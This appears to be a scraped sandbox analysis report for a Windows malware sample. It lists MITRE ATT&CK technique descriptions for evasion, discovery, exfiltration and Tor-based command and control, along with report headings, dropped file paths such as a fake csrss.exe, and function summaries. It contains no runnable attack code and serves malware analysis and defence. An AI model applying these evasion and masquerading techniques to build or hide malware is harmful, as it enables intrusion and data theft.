Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.
Tactics:	Credential Access
Data Sources:	Application Log: Application Log Content, Command: Command Execution, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.
Tactics:	Lateral Movement
Data Sources:	Application Log: Application Log Content, Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report klWGq3yDcQ.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

(copy)

C:\ProgramData\Drivers\csrss.exe

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_klWGq3yDcQ.exe_5ab8dffadfd17da166bf44c094a954023413eb5_f6fad5ff_06f03d30-a664-4eef-bb18-74b786096fc7\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_klWGq3yDcQ.exe_5ab8dffadfd17da166bf44c094a954023413eb5_f6fad5ff_2af4128a-de8f-4495-8f78-94a7c68274e6\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_klWGq3yDcQ.exe_5ab8dffadfd17da166bf44c094a954023413eb5_f6fad5ff_2fbba0c3-0571-42f0-b073-3c1e8e258d51\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER50D1.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER52E6.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5316.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5D3A.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7C4C.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7CBB.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB1C3.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCD4B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCD8A.tmp.xml

C:\Users\user\AppData\Local\Temp\4kPv6aJG8e\cached-certs.tmp

C:\Users\user\AppData\Local\Temp\4kPv6aJG8e\cached-microdesc-consensus.tmp

C:\Users\user\AppData\Local\Temp\4kPv6aJG8e\cached-microdescs.new

C:\Users\user\AppData\Local\Temp\4kPv6aJG8e\state.tmp

Windows Analysis Report
klWGq3yDcQ.exe

Function 004043A4 Relevance: 31.6, APIs: 12, Strings: 6, Instructions: 110
pipewindowCOMMON

Function 025B0110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Function 0040410B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36
librarymemoryloaderCOMMON

Function 023E97C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Function 004041C0 Relevance: 40.4, APIs: 19, Strings: 4, Instructions: 144
memorylibrarytimeCOMMON

Function 00406056 Relevance: 22.6, APIs: 15, Instructions: 86
COMMON

Function 025B0420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Tactics:	Exfiltration
Data Sources:	Application Log: Application Log Content, Cloud Storage: Cloud Storage Access, Command: Command Execution, File: File Access, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. A particular variant of this behavior is to use onion routing networks, such as the publicly available TOR network.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN , ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre